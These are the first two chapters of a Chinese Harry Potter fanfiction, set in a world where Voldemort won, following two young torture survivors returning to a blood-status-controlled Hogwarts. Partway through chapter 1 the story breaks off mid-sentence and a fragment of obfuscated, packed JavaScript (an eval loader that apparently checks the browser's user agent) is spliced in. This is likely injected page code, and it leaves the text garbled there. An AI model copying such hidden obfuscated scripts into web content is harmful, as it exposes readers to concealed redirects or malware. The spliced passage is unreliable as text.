《【HP】So We Wait Till It is Dawn》 1. 柏妮丝·布瑞南 Chapter 01 - Bernice Brennan 她挣扎着睁开眼。 一片漆黑,和先前并无分别。她不知道自己已经昏睡了多久,也不知道现在是白天还是夜晚。时间的概念在这间狭小的囚室里愈发模糊了,但她的直觉告诉她,距离她上次清醒已经过了十几个小时。但文森特还没有回来。她不愿意细想这意味着什么。 她没动弹,只是安静地躺着,让自己的感官尽快再次开始工作。她很快感受到了寒冷——从潮湿的石地板钻进她的皮肤里,浸透她的全身,深入骨髓。然后更多的信息向她的大脑涌来:她全身上下结痂的伤口传来的刺痒,皮肤上黏着的干掉的血,空气里熟悉而令人不安的霉味和血腥味。最后,她听见了远处传来的脚步声。 她先是本能地瑟缩了一下,闭上眼,害怕是那个女人又回来了。她的脑海里立刻又闪现出她的样子——长而卷曲的黑发——那双疯狂的黑眼睛——尖锐刺耳的笑声——傲罗们叫她“莱斯特兰奇夫人”——然后是痛苦,无穷无尽的痛苦。但她将这些赶出脑海,强迫自己平静下来,努力辨别。不,不是她。似乎是两个人。不对,三个。只是其中一个更像是在被拖着走。她的心因为某种猜测被提了起来。 那三个人的声音越来越近。她可以听见其中两个在低声交谈。她打起精神,试图记住她听到的内容。 “还是没有结果吗?”一个尖细的声音问。 “没有。我看今天是没指望了。”另一个人回答,相较之下他的声音要粗放得多,带着烟酒浸泡出的沙哑,“真搞不明白上边为什么这么固执。不就是一块破石头吗?搞得这么兴师动众,害我花了整整两天时间审问两个小崽子。昨天连贝拉特里克斯·莱斯特兰奇都过来了,我还得招待那疯婆子……现在看来,根本是白费力气。他们俩什么也不肯说。” “下一批吐真剂什么时候到?” “我知道你在想什么,小子。但我劝你别指望了。”粗嗓门不耐烦地说,“那些做魔药的永远慢得要命,就是再给他们一个月,下一批货也到不了。” 细嗓门知道自己话没说对,忙小心翼翼地转移话题:“那四个成年人呢?也没进展?” “别提了——半个字也没问出来!克林顿说他们什么法子都用了,屁用没有。” “那家伙最好是没偷懒。” “老肖恩盯着他呢,他再想偷懒也没得偷。”粗嗓门说到这儿突然压低了声音,“听说他们那儿已经出人命了。” 她的血液在刹那间冻成了冰。她将指甲掐进掌心里,只为不尖叫出声来。 出人命了?谁?爸爸?妈妈?菲尔叔叔和凯茜阿姨? “啊?那怎么办?” “还能怎么办?你又不是第一天当傲罗了。写个报告呗,突发疾病之类的。大不了最后多赔几个子儿。现在早不细查这种事了,不然有多少案子得耽搁着?” 细嗓门的声音突然微弱下来,好像害怕突然被人袭击。他咕哝道:“再过两天就该把他们释放了吧?” “大概吧。明早多洛霍夫也会来看看,但要是一直没问出东西,白耗着也没什么意义——哎,别往前走了,到地方了。” 脚步声和说话声同时在她的门前停下,同时一个照明咒变出的光球也悠悠停在了半空。她听见一阵金属钥匙互相碰撞的叮当声,然后生锈的铁门吱呀呀地开了。照明咒照出两个男人的身影,他们麻利地将一个人丢进牢房,关上门并上锁,很快又聊起了别的话题,慢慢地走远了。 她屏住呼吸,确认他们关上了走廊尽头的那扇门,这才从地上迅速爬起来。她感觉自己的身上有几处伤口在这突然的动作中又裂开了,但现在不是在乎这个的时候。 她蹑手蹑脚地在黑暗中摸索了好一阵,终于找到了另一个人的一只胳膊。她将整只手放上去,立刻又缩了回来。那不是皮肤的质感。那里摸起来潮湿又凹凸不平。那是伤口。更糟糕的是,那个人对于她直接触碰新伤口的行为竟然没有任何反应。 不——不不不—— 她手忙脚乱地寻找另一个不会碰到伤口的角度,在黑暗中越来越意识到情况的严重——面前的人半边身子都被伤口覆盖了。但她没有别的办法,只有尽可能不去想象那是怎样一番景象,然后继续尝试。终于,她找到一个安全的位置——好像是他的右手臂——抓住,然后发了疯似的摇晃,无声地呼唤着,渴望哪怕一点点回应。 可是没有。那人只是躺在原地,气息奄奄。 绝望占据了她的内心。她感到四周的黑暗开始飞快地向她逼近,伸出巨手攫住她的喉咙—— 2003年9月1日,诺福克郡的郊外,一间荒僻的小楼里,柏妮丝·布瑞南在她的卧室中醒来。 —— 柏妮丝放任自己在床上多躺了一会儿。她的心跳依然很快,太阳穴突突直跳。被多年前的梦魇惊醒远不是世界上最美好的体验,但她已经过了被允许因此惊恐发作的年纪。她强迫自己深深地吸气,呼气,把呼吸调整到一个正常的节奏上。现在至少她不再像一条被丢上岸的鱼了。 她没事。那些已经是很久以前的事情了,现在没有什么魔法部的地下审讯室,没有莱斯特兰奇来折磨她。她在自己的卧室里,躺在自己的被子底下,屋子外边的保护咒列成一串能从这里排到月亮上再绕回来。她很安全。 她在脑海里对自己一遍遍重复这些话,就像一句咒语——虽然真正的咒语通常不是这样的。 吸气。呼气。 终于,她恢复了平静。她屋里钟表的指针距离“起床”字样还有一小段距离,但她也没什么心情再在床上耽搁了。于是她坐起身,披上晨衣,走出房间,进入卫生间。 洗手台的镜子前映出一个女孩,苍白的脸上一双灰眼睛憔悴而惊惶。几绺黑发被汗水黏在她的额头上。她抬起手,镜子里的那个人也照做。她用手指感受着脸上的疤痕——两条,一条经过她的右眼竖直贯穿她的半边脸颊,一条从她的鼻梁上横过。那是莱斯特兰奇留给她的,连带着身上更多被衣服挡住的疤痕一起。 六年前发生的事是一场灾难。那年凤凰社倒台,伏地魔取得了第二次巫师战争的胜利。战后他开始稳步巩固自己的政权,在魔法界建立起全新的秩序。就在这个节骨眼上,两个傲罗家庭被突然逮捕,罪名是私藏魔法物品和与凤凰社有私下往来。很不幸,她的家庭就包括其中。而她对于那些指控所说的所谓罪行一无所知。 那时候她年纪还小,几乎无法理解魔法部为什么要用这种凭空捏造的罪名折磨他们。后来想想,也许是她父母在工作中得罪了什么人物,或者是出于其他某些政治上的原因。总之,这整件事的重点并不在于他们是否真的犯了什么罪行,而在于迫害他们认为对新生政权有威胁的人。 最后,在持续几天拷问后,什么事也没有发生。没有审判,没有官方通报,这件事就这么不了了之了。哪怕当走出审讯室时,还在呼吸的只剩下两个孩子和一个女人,而且两个孩子中一个全身上下满是伤口、骨折和内出血,声带严重受损,失去发声能力,另一个左半身严重烧伤,左眼失明,险些死在圣芒戈;而那个唯一一个活下来的成年人,在钻心咒折磨下精神衰弱,身体状况也从此一落千丈——是的,这件事依旧不为人知。 这些年来,她一直尽可能不去想这件事,而让它留在那里,成为一个无人问津的旧疮疤。这些年他们已经在无人干扰的情况下过了好些清静日子。在如今这个不公成为常态的巫师界,孤身反抗是不可能的。母亲告诉她,比起在过去的阴影下生活、每天用愤怒燃烧自己,更好的做法是珍惜眼前的这一切。母亲在她二年级暑假时在圣芒戈的病床上去世了,也算终于摆脱了病痛的折磨。临走前,她依然握着她的手,重复这句话。柏妮丝听从了她的话。 但是,昨晚那一幕又回到她的梦里。她不知道这意味着什么。 她深吸一口气,用冷水洗了把脸,快速地洗漱,将卷曲的黑发在脑后束成长辫。现在她看起来比之前好多了,虽然脸色依旧不太好,但至少像个活人了。 她回到房间,换上校袍。床头柜上放着一个黄铜制的喇叭,拇指大小,上面刻着些如尼文。这是她一年级入学前母亲找人给她定制的。在失声后她在家一直用手语和人交流,然而不是每个人都会手语。在每天都要和更多人打交道的霍格沃茨,拥有一个代替她发声的工具无疑更明智。 她对着镜子整理了一下自己——其间它一直尖叫“把领子整理好”,尽管她已经整理过了,这东西最近出了点毛病——最后一次给了镜子里的自己一个鼓励的眼神,走出门去。 还没走到楼下的餐厅,烤炉中黄油的香气就混着热咖啡的味道热腾腾地钻进了她的鼻子。等下了楼,她一眼便看到一个熟悉的瘦削身影坐在桌边,半长的金发散在肩头——这其实相当罕见,因为更多时候他会选择把头发扎在脑后——一手端着咖啡杯,一手捏着一张羊皮纸在读。她看出是七月下旬霍格沃茨发来的那张书单。广播里是WWN熟悉的早间音乐节目,面前是她可以无条件信任的人。一直萦绕在她心头的那种莫名的不安在那一刻以一种古怪的方式消散了些。 她所在的这个角度很微妙,刚好只能看见他的右侧脸。从这里看过去,他和一个普通人没什么区别。但一旦他转过脸来,你就可以看到他那半边被烧伤疤痕覆盖的脸颊,以及那只银白色的玻璃义眼。 “早安,文森特。”她的黄铜喇叭用一种机械刻板的语调说道。虽然它可以近乎完美地表达她的想法,但依然,它还有一些缺陷——比如太过缺乏感情。 那只锐利的蓝眼睛从羊皮纸上移开,落在她的身上。 “早。吃的还没好,你最好再等一等。”他停顿了一下,评价道,“你脸色不太好。” 文森特·阿彻尔,菲利普·阿彻尔和凯瑟琳·阿彻尔的独生子,当年那次审讯里的另外一个生还的孩子。他的父母都死在了那间审讯室里,而他们分别来自的两个纯血家族作为血统主义的坚定拥护者,不约而同地拒绝了收养这个父母都是纯血统叛徒的孩子。最后,柏妮丝的母亲出面收养了前同事的儿子。母亲去世后,他们两个一直靠着魔法部在那次审讯后每月给他们家的一点定额补贴和阿彻尔家的亲戚们的救济相依为命——考虑到霍格沃茨免费负责了他们一年中绝大部分时候的食宿,这也不算太难。柏妮丝和他没有血缘关系,但其实也差不太多。 四年前,他们一道收到了霍格沃茨的录取通知书。她母亲其实希望偷偷把他们送到布斯巴顿,脱离英国魔法部的控制,但一旦录取通知书送到,你就没有别的选择了——如果你不希望傲罗们以反叛罪逮捕你的话。于是他们入学,柏妮丝去了格兰芬多,文森特去了斯莱特林。万幸的是,到目前为止,这件事并没有导致什么不好的结果。 “昨晚没睡好。”她简单地说着,坐在他对面的椅子上,“你还在看这张单子吗?” “只是检查一下有没有漏掉的东西。今天就开学了,你知道。”他耸耸肩,把羊皮纸放在桌上,“如果你有这方面的问题,下次我们可以去圣芒戈买点缓和药剂之类的。” “不,只是偶尔做噩梦。不是什么大事。”她赶紧在对方提出更多文森特式的建设性意见前打断他,“早上吃什么?” 他的眼神告诉她他花了一阵子犹豫要不要坚持刚才的话题。但最后他答道:“花生酱三明治。在烤箱里。” 烤箱发出“叮”的一声,文森特起身走向厨房。柏妮丝摸过他先前阅读的那张羊皮纸旁边的另一张纸,那是和书单一起寄来的一封通知。熟悉的、又尖又长的黑色字迹进入她的眼帘。 亲爱的阿彻尔先生: 我们愉快地向您转达这一通知。自下一学期起,霍格沃茨魔法学校课程变动如下: 一,取消各个年段选修课中的麻瓜研究学课程; 二,魔法史科目新增“英国巫师现代史”内容。 新学期照常定于九月一日开始。随信附上新学年所需书籍一览表。祝您生活愉快。 校长 西弗勒斯·斯内普 谨上 文森特端着两盘刚出炉的三明治回来了。柏妮丝放下羊皮纸,说:“我还是不敢相信,他们竟然连一门学科都不放过。” 文森特拿起刀,开始切掉吐司面包的硬边,闻言波澜不惊地说:“我倒是不意外。我敢打赌魔法部大概几年前就在动这个心思了,记得战后第一年宣布的那个规定吗?麻瓜出身巫师禁止进入霍格沃茨学习什么的。他们想要的是让整个魔法界相信血统论,而让巫师们了解麻瓜有多么不愚蠢对这个没有任何好处。只不过霍格沃茨向来是最后一个被政治波及的地方而已。” “这我明白。”她叹了口气,接过三明治,“只是感觉就像魔法界离正常又远了一步。” “你还能指望什么?”文森特讽刺地说,“看看《预言家日报》,一帮进过阿兹卡班的家伙在头版朝你招手呢。”他说的是去年马尔福上任部长时魔法部高层官员的合照。 他们两个听着电台广播,安静地吃了一会儿早餐。不得不说,塞蒂纳·沃贝克的情歌比政治话题更适合餐桌。这位著名歌手在巫师战争后再也没有出过新歌,想来和魔法部对文艺作品的控制政策有关,但他们宁愿不讨论这个。不是现在。 可贵的平静氛围又持续了十分钟,接着突然响起的早间新闻打破了它。文森特起身准备关掉电台,但手悬在开关按钮上方,忽然又停下了。男主持人不带感情的嗓音于是从他身前飘了出来。 “……现在播放一则重要新闻。今早本台记者得到消息,魔法部国际魔法合作司副司长沃尔顿·麦克尼尔先生于昨晚不幸因公殉职。 “麦克尼尔先生自第一次巫师战争起便效忠于黑魔王大人,不仅在战争中立下赫赫功勋,在战后更是在岗位上为黑魔王大人鞠躬尽瘁,致力于为全英国的巫师和女巫谋求福祉……” 文森特哼了一声,手终于落下。男主持单调的念稿声戛然而止。 “怎么说?”柏妮丝问。 “不知道。”文森特坐回位子上,重新拿起三明治咬了一口,“没有公布死因,这一点挺有意思的。” “所以你认为是——”她停了一下,小心翼翼地避免使用那个可能触发覆盖了全境的探测咒的词语,“他们?” “不大可能,考虑到他们已经销声匿迹这么多年了。说不定是某个无名小卒。或者干脆就是意外事故,只不过死因太难以启齿而已。比如说喝醉酒掉进马桶里溺死之类的。”文森特说着,抬头看看时钟,“我们要快点了。劳里埃之前在信里说会给我们占位子,但我认为她的时间感不可信任。” —— 文森特说准了。他们登上霍格沃茨特快专列时,正巧只剩级长车厢边上的一个车厢还空着,而那个答应给他们留位置的人依旧不见踪影。文森特把他们的箱子在行李架上放好,对她说:“我说什么来着?” “希望她不要错过火车。”柏妮丝忧心忡忡地说。 “用不着担心这个。”文森特肯定地说,找了个靠窗座位坐下,掏出一本关于咒语的书打开来看,“她还没无药可救到那个地步。” 果不其然,在火车发出最后一声表示准备出发的鸣笛时,车厢的门被人推开了。门口站着一个姑娘。她的一头红发被以一种精心设计的方式扎成高马尾,一双紫罗兰色的眼睛熠熠闪光。柏妮丝一眼看到她的右耳上新挂了一个金色飞贼形状的耳坠。 “早安,两位。”她说,“可以放我进来吗?” “不可以,你就在门口站着吧,”文森特头也不抬地回道,“考虑到你的承诺又落了空。” “噢,别这样。我知道你最爱我了。”那姑娘油嘴滑舌地说。 “早上好,希娜。”柏妮丝说,“我喜欢你的新耳饰。” 这位红发女孩是希娜?劳里埃,柏妮丝在霍格沃茨的同学兼室友。四年前,同样是九月一日,他们与这位出身混血家庭的姑娘在霍格沃茨特快专列上相遇,并很快成为了朋友。虽说后来文森特没有和她们分到同一个学院,但他们之间的友谊依然持续至今。 “谢谢,柏妮丝。还是你最贴心。”希娜说着,亲热地靠着她坐下,将行李随手搁在脚边上,“相信我,你比那家伙强多了。” 文森特还是没抬头,只是从鼻子里发出一个表示轻蔑的声音。 “而且这次真不能怪我,要怪就怪伊芙琳半路上又说忘带了东西,害我们多跑一趟。”希娜辩解道,“真的,我才没忘呢。” 她所说的伊芙琳是她的双胞胎姐姐,属于斯莱特林学院。柏妮丝很难分辨她说的是实话,还是说她只是想借机败坏她姐姐的形象,毕竟她俩从来不是展现手足之谊的典范。 “说到伊芙琳,”文森特突然说,“这已经是第四年了,我依然没见过你俩同时出现在同一个车厢。” “噢,饶了我吧。”希娜吐了吐舌头,“我们是亲姐妹?是的。我们一起长大?没错。但要我们待在同一个封闭空间里超过五分钟还不打起来?我劝你趁早打消这个念头。” “她找得到空位吗?”柏妮丝说,“我们来的时候其他车厢都有人了。” “这个用不着你操心,柏妮丝。”希娜烦躁地摆摆手,就像在赶苍蝇,“她的那些纯血朋友肯定留了位置给她。她那么爱巴结他们,就差亲吻他们的鞋子了。但其实她勾搭上的那个波普勒希尔就是个私生子,罗齐尔家压根不认他。也只有我们可怜的小伊芙还天天跟在他屁股后边奉承,满心以为自己赚到了……” 她一说起这事就很难再停下,柏妮丝赶忙叫住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哦,我告诉她迷情剂的效果是让服用者迷恋上魔药的制造者,所以如果她不想看到我和她的小纽特?斯卡曼德双宿双飞的话,最好还是自己研究去。”希娜轻快地说,“不用担心,她不会这么做的。” 他们又聊了一些艾克索的情史之类的话题,然后车厢门再次被人打开了。一张脸从他们的上方探进来。那是一个高年级斯莱特林女生,个子对于一个女孩而言有点高得出奇了。她的暗红色头发在头顶扎成一个很紧的发髻,左眼戴着一个白色的眼罩。柏妮丝一眼看见她胸口别着一个闪闪发光的级长徽章。 那是塞德汀·埃德里安,六年级,据说来自德国的一个有名的纯血家族。柏妮丝本来不该认识她,但自从去年新一轮级长上任,她就在格兰芬多声名远扬了。 她刚一露面,希娜就以令人钦佩的迅速住了嘴,随即露出一个完美的假笑:“你好,请问有什么可以帮到你的?” 塞德汀那只没被眼罩盖住的绿眼睛眯了起来,带着浓重的怀疑在他们三个间逡巡了一阵。 “别的倒没什么,”她慢条斯理地开口,说出的每个字都像是在喉咙里淬过火一样,“不过,如果你们肯劳神费力看管一下自己的朋友,至少不要让她跑到级长包厢里大吵大闹、丢人现眼的话,我会相当感激。” 下一秒,她的一只手像变魔术一样从长袍下边冒了出来。车厢里的三个人目瞪口呆地看见,那只手里正像拎一条死鱼一样头朝下拎着一条硕大的、扭个不停的蜥蜴。 就在这时,柏妮丝感觉希娜捅了捅她。她看过去,那人用夸张的口型朝她比了个“十西可”,她只好拼命抿紧嘴唇,不让自己在这位威严的级长面前笑出来。 “我不认为我们有这个义务。”文森特突然把手上的魔咒书“啪”地合上,冷冰冰地说道,柏妮丝和希娜都猛然望向他,“你何不自己解决这个问题,埃德里安?” “是的,你们有。”塞德汀从牙缝里挤出这句话,有那么一刻柏妮丝感觉她快要被这句冒犯点着了,“也许你忘了,阿彻尔,但你是一个斯莱特林。也许你应该试着比一头愚蠢的狮子更懂什么叫秩序。恕我失陪了。” 说着,她精准地把手里那只蜥蜴丢到文森特旁边的空座位上,然后“砰”地关上了门。 —— “哇。”希娜干巴巴地说。 “干什么?”文森特若无其事地又把那本书打开了,“她不可能给自己的学院扣分的。” 那头蜥蜴在文森特旁边像个尸体一样僵直地肚皮朝天躺了好一会儿。就在柏妮丝准备过去检查一下它——或者她——是否还意识清醒的时候,那生物忽然开始往四边膨胀。很快,蜥蜴消失了,而那个座位上赫然出现一个短发姑娘。她一头黑发,鬓边的一绺却被刻意染成了扎眼的紫色,身上的格兰芬多校服衬衫少系了两个扣子,领带也松松垮垮垂在肩头,整个人以一种相当不文雅的姿势横在椅子上。这就是他们刚才话题的主角了。 艾克索比他们大两届,是霍格沃茨当今最特殊的一名学生。她不具备一个优秀巫师应有的血统——甚至可能不能被称为“巫师”。她的学名其实是“苏格兰拟态蜥蜴”,被魔法学术界看作某种新发现的神奇动物。她的“母亲”德斯帕达夫人是近年来在国际上广受尊重的神奇动物学家,霍格沃茨完全是看在她的面子上才同意招收这个学生。而德斯帕达夫人这么做也不是真的要她有一番学术上的成就,不过是想测试一下这种新物种的智力而已。这在霍格沃茨不是新闻,因此艾克索在校内的地位一直很尴尬,因为显然很多人更倾向于把她当成一个动物而非一个人看待。但柏妮丝从没看出来艾克索本人对此是什么看法。 “真搞不懂她怎么发现的!”艾克索骂骂咧咧地抱怨道,“难道每天都会有一只蜥蜴藏在她的椅子底下准备袭击她吗?” 其实这有一定可能性,考虑到传言中塞德汀·埃德里安作为家族正统继承人失去一只眼睛以及不远千里来到英国的缘由就是旁支亲族的暗杀。但柏妮丝没有指出这一点。 “我刚才就猜到是你。”希娜说着把一根甘草魔杖叼在嘴里,然后递给对面的艾克索一块糖浆馅饼,“你干什么了让她这么火大?” 艾克索毫不客气地接过馅饼,咬了一大口,含糊不清地回答:“实话说没什么,就是几个粪弹。要我说,她生气全是因为我妨碍她和她表姐卿卿我我了。” “她表姐?”柏妮丝问。 “嗯——哼。塔伦·埃德里安,也是斯莱特林的级长。她俩是远房亲戚,不过好像从小一起长大。”艾克索说着酸溜溜地做了个鬼脸,“你是没见过她们在一块的样子,唉,简直像是对老夫妻似的,腻歪个不停。” 柏妮丝努力想象塞德汀顶着那张不苟言笑的脸和某人“腻歪”的样子,不禁打了个冷战。随后她注意到希娜似乎也在做同样的事。 艾克索狼吞虎咽地吃掉了糖浆馅饼,又自顾自啃了两个坩埚形蛋糕,柏妮丝忍不住怀疑她今早没吃早饭。然后她终于又开口了。 “啊,对了,斯莱特林小子,你干得不错。你不知道多久没有人敢这么呛她了——看看她那张脸!” 文森特拿书的手抖了一下。柏妮丝看得出他先前一直在全力避免这次社交,但现在看来是失败了。 “噢,”他不情不愿地把书合上放在膝盖上,“没什么。反正我也不太喜欢她。” “不喜欢她的人多了去了,不妨碍你特别伟大。你当初该分到格兰芬多的。” 柏妮丝注意到文森特转过脸来的时候艾克索吃东西的动作顿了一下,随即目光定在他脸上。这是人们第一次见到他们俩(主要是文森特)的正常反应。但不同的是,艾克索很快把目光收了回来,并且此后再也没有问起这件事。柏妮丝不禁对此深表感激,梅林知道她有多不想跟别人解释他们的疤痕分别是怎么来的。 文森特不置可否地哼了一声。柏妮丝记起一年级开学前他们三个在火车上聊天时,文森特曾说自己去哪里都无所谓。她和希娜一度认为他会去拉文克劳,但斯莱特林其实也没那么出乎意料。 接下来的几个小时艾克索拉着柏妮丝玩了会儿噼啪爆炸牌,文森特一开始选择在旁边装空气,但很快也被邀请进来。艾克索相当愿意分享自己的感情问题,这大大满足了他们的好奇心——包括迷情剂那部分。只有希娜继续埋头赶作业,十五英寸的论文可不是那么容易就能写完的,即使你在抄袭别人的劳动成果也是一样。 在这节车厢里,他们像所有青少年一样欢笑、玩乐、互相打趣。有那么一刻车窗外的世界显得那么美好,那么阳光明媚,就仿佛那里没有什么伏地魔,没有什么内部腐烂的魔法部,也没有什么谎话连篇的官方报纸。 霍格沃茨特快列车又拖出一声长长的鸣笛声,吹出一股乳白色的蒸汽。它载着他们一路向前。 (TBC) 2. 亚克斯利教授 Chapter 02 - Professor Yaxley 红皮火车在轨道上不紧不慢地行驶。到下午的时候,浓厚的乌云代替了暖阳,天快黑时,干脆下起雨来,虽然不大,但一旦开始就没完没了。这种天气从来不讨喜,尤其是在你需要徒步前往马车的停车点时。 文森特给每个人的校袍施了个防水咒——希娜为此又惊叹了一番他的咒语储备——让他们能够在没有伞的前提下尽可能体面地到达学校。但是坐在湿漉漉的马车座椅上总还是不太愉快的。隔壁马车上,塞德汀撑着一把不知从哪儿搞来的巨大的黑伞,柏妮丝看见伞底下还有另一个个子相对娇小的斯莱特林女生。从这个角度,她只能看到那人后脑勺上棕色的高马尾。塞德汀给别人打伞,这景象实话说挺有趣的。 “我说什么来着?她俩跟对老夫妻似的。”艾克索挤眉弄眼地说,希娜极其捧场地发出一个起哄的声音。 她的声音不算小。那个女生闻声回过头,愉快地微笑着朝他们的方向挥了挥手。那一瞬间柏妮丝在对方眼镜的镜片后看见了一双和塞德汀相似的绿眼睛,不过她的目光远没有那么锐利。塞德汀也转过来,在身旁那人看不到的地方狠狠地给了艾克索一记眼刀——然而并不像她希望的那么有威慑力——然后低声向那个女生解释,很可能是在和他们撇清关系。 所以那就是塔伦·埃德里安了。柏妮丝想道。 夜骐马车——柏妮丝和文森特自从入学就看得见夜骐,鉴于他们八岁时就见过三个成人的尸体——在泥泞颠簸的道路上晃晃悠悠地行驶了一阵,速度肯定慢得有点过头了,因为柏妮丝听见许多马车上传来了抱怨和催促的声音。等到那几百个车轮终于缓缓停下时,霍格沃茨城堡的大门终于近在眼前,而所有人也都差不多湿透了。 他们几个走下车,裹紧不停往下滴水——但一点儿没湿,梅林保佑文森特——的外套,走向他们与温暖的南瓜汁之间的最后一道阻碍:证件检查。 所谓“证件”,指的是英国巫师身份册。第二次巫师战争后,魔法部发布了《2000年英国巫师宪法》,其中明文规定英国境内的所有巫师都需要去魔法部进行身份登记才具有使用魔法的合法权利。经过登记的巫师会被从上到下分为纯正纯血(特指出身经《2000年欧洲纯血巫师家族名录》认证的纯血家族的巫师)、广泛纯血(家族不在名录上,但往上三代直系亲属都是巫师的巫师)、广泛混血(父母都是巫师但往上三代直系亲属中存在麻瓜的巫师)、纯正混血(父母中有一方是麻瓜的巫师)、麻瓜血统(往上三代直系亲属都是麻瓜的巫师)五类,对应的身份册颜色分别是绿色、蓝色、紫色、红色和黑色。纯正纯血地位最高,而麻瓜血统——显而易见地——被视作血统低劣者。 今年负责给他们这一队检查证件的是一个干瘦的长脸男人,身上穿着一条破旧的麻布长袍。他的动作比起去年的那位要快得多。学生一掏出身份册,他就快速念出检测咒语,简单看两眼上边显现出的字迹就放人进去了,大概是也讨厌被雨淋。柏妮丝跟在文森特后面。当她将自己那本蓝色的身份册递出去时,那个男人忽然抬头多看了她两眼。 “你长得很像我的女儿。”他在不必要地低头翻看她的证件时低声说,“上帝保佑你,孩子。” 她对他快速鞠躬,随即离去,尽管她的心绪还在翻腾。她知道她的喇叭的音量对于回复这个人有些太大了,而多余的交流会给他带来麻烦。 这种检查证件的程序早在她入学前就一直存在。据她所知,每年检查证件的人都不一样,而且绝大部分只会在这里露面这一次。她曾打听过,这些人都是麻瓜血统,给这些学生检查证件就是分配给他们的无数项工作之一——这些巫师的血统不被认可,所以他们没有任何法定权利,只有作为巫师界的奴仆被送往全国各地,听候差遣。 今天之后,这个男人、这位父亲,他也许会被安排去某个纯血贵族的庄园里替主人家擦皮鞋,去魔法部的会议室里替高官们拿外套,甚至去干一些更低贱的活计。至于他口中那个和她神似的女儿现在如何——可能还活着,但更可能死了——柏妮丝这辈子或许都不会知道。 另外,知道麻瓜血统并没有真正退出巫师社会的人也少之又少。因为主流媒体从来不会在任何一篇冗长的社论上提到这个事实。他们只是使用一个又一个的被动语态:比赛场地得到了充分维护,参会人员享受了优质服务,等等等等。至于到底是谁修剪了魁地奇球场的草坪,又是谁为参加会议的官员递上茶水,他们只字不提。这个人群的存在就这样在明面上从巫师社会大众的视野里抹除了。绝大部分霍格沃茨学生甚至从未想过这些每年接送一年级新生、检查学生证件的人到底是谁。 唉,梅林保佑英国巫师界。 终于,他们进入了霍格沃茨城堡的大门。被室内温暖干燥的空气包围的那一刻,她不自觉地呼出一口气,这才惊觉自己有多渴望回到这里。即使已经被血统主义占据,霍格沃茨依然是每个学生心目中不可替代的存在。 她被湿漉漉的人群推挤着进入礼堂,途中看见差点没头的尼克珍珠白的身影飘在半空,朝每个格兰芬多学生打招呼。赫奇帕奇的胖修士也在做着类似的事,同时还感情丰富地对他们被淋成落汤鸡的遭遇表示同情。这些幽灵似乎并没有被战争后的变化影响,也许是因为即使是伏地魔也没法对他们做太多事,又也许是因为他们几百年来见识过的世事起落要比这个多多了。至少尼克曾经对他们说,神秘人总有一天会被人干掉的,他从没见过这样的人能风光太长久。 礼堂里照旧漂浮着数以千计的蜡烛,魔法天花板上是飘着细雨的天空。对于一个由食死徒管理的地方,这里和大战前相比的变化似乎有点太少了。学生们在长桌两侧落座,迫不及待地等着分院仪式结束、食物出现在餐盘里的那一刻。 柏妮丝和希娜与文森特道别,找到他们年级惯常的位置坐下。很快,更多的熟面孔就出现了。一个拥有红褐色卷发的女孩在她们身边坐下,笑着和她们打了个招呼。她长着一颗颇有特色的虎牙,这无疑为她的笑容增添了不少亲和力。 “晚上好,柏妮丝;晚上好,希娜。”她说。 “晚上好,莫娜。”希娜说,“你不和海莉坐一块儿吗?” 莫娜·威尔逊那双灰色眼睛眨了眨。 “我倒是想呀,”她努努嘴,“但现在不是时候。” 柏妮丝顺着她示意的方向看过去,只见他们同年段的另一位姑娘海莉·罗森伯正和橄榄色皮肤的高个儿拉尼·里奇曼坐在一块儿。拉尼的好友、小胖墩芬恩·戈多坐在另一边,像在给他们俩站岗似的。拉尼似乎刚说了什么俏皮话,因为她忽然捂嘴笑起来,那头精心打理过的亚麻色长发在脸颊边笑得一晃一晃。 “不是吧,”希娜瞪大了眼睛,“你是说他俩……” “什么时候?”柏妮丝问。 “暑假的时候,或者就我所知是在暑假。”莫娜回答,她似乎对她们的反应很满意,“七月底的时候她突然写信说我下个月去对角巷买书不用等她了,她要跟拉尼一块去;以及‘顺便告诉你’——”她语气加重,双手各伸出两根指头弯了弯,比了个引号,“他现在是她的男朋友了。我知道的就这么多。” “这么突然?”希娜若有所思地皱起眉头,“你们觉得是谁先表的白?” “我敢赌二十加隆,是拉尼。”莫娜说。 “我也觉得。”柏妮丝说着补了一句,“我不参与赌博,顺便一提。” “我知道,好姑娘。”莫娜慈爱地拍了拍她的脑袋。希娜哈哈大笑。 “我们晚上回宿舍再问问她。”莫娜擦掉笑出来的眼泪,说,“我一定要把这事搞清楚。” “他们现在开始谈恋爱是不是早了点?”柏妮丝问,“我记得大部分人都是五年级才开始约会的……” “我告诉你,孩子,一年不会有多少差别的。”艾克索突然出现在她们头顶上,“还有你们在说谁?” “到现在还没开始跟喜欢的人约会的人没资格说这种话。”希娜说着,给她腾了个座位——这不太困难,因为莫娜自觉地朝远离艾克索的方向挪了一些并退出了对话,她属于不太喜欢艾克索的那类人,“你小声点。我是说那边那两个。”她朝海莉和拉尼的位置扬了扬下巴。 “你好过分!”艾克索抗议道,但也看向那两人的方向,压低声音,“还有,其实四年级开始约会的虽然少,但也不是没有。我之前还见过两个二年级学生在槲寄生底下接吻呢。” “真的假的?”希娜皱了皱脸,“他们懂什么叫接吻吗?” “比你还懂!我告诉你,他们……” 她肯定准备了什么很惊人的细节。但她没能说下去,因为柏妮丝恰好在这个关头打断了她们的对话。 “你们看,麦格教授呢?”她问。 其实在这之前,她已经离开对话好一会儿了。她一直在关注礼堂另一头的教工席。这个时候,那张长桌上还有三个空位。一个是最中间的校长席——斯内普每年都会提前一会儿到,但又不会提前太多,大概是因为他似乎总是很忙——一个是刚刚添上的新位置,也许是给某位新教师,但还有一个…… “对啊,麦格教授去哪了?”希娜压低声音问,“奇怪,就连她的椅子都不见了。” “你们没有看《预言家日报》吗?”拉尼忽然停止了和海莉的交谈,问道。 “没有。我们家都几年没订那垃圾了。”希娜厌恶地回答,“所以她到底怎么了?” 拉尼的神色突然变得不太自然;他谨慎地往两边看看,然后将脑袋朝她们凑近。 “暑假的时候她被魔法部抓走了。”他压低了声音,“但后来报纸又说她潜逃了。” “什么?”她们异口同声地惊叫起来,引起一群学生的侧目。希娜赶忙也压低了声音,继续问:“为什么?” 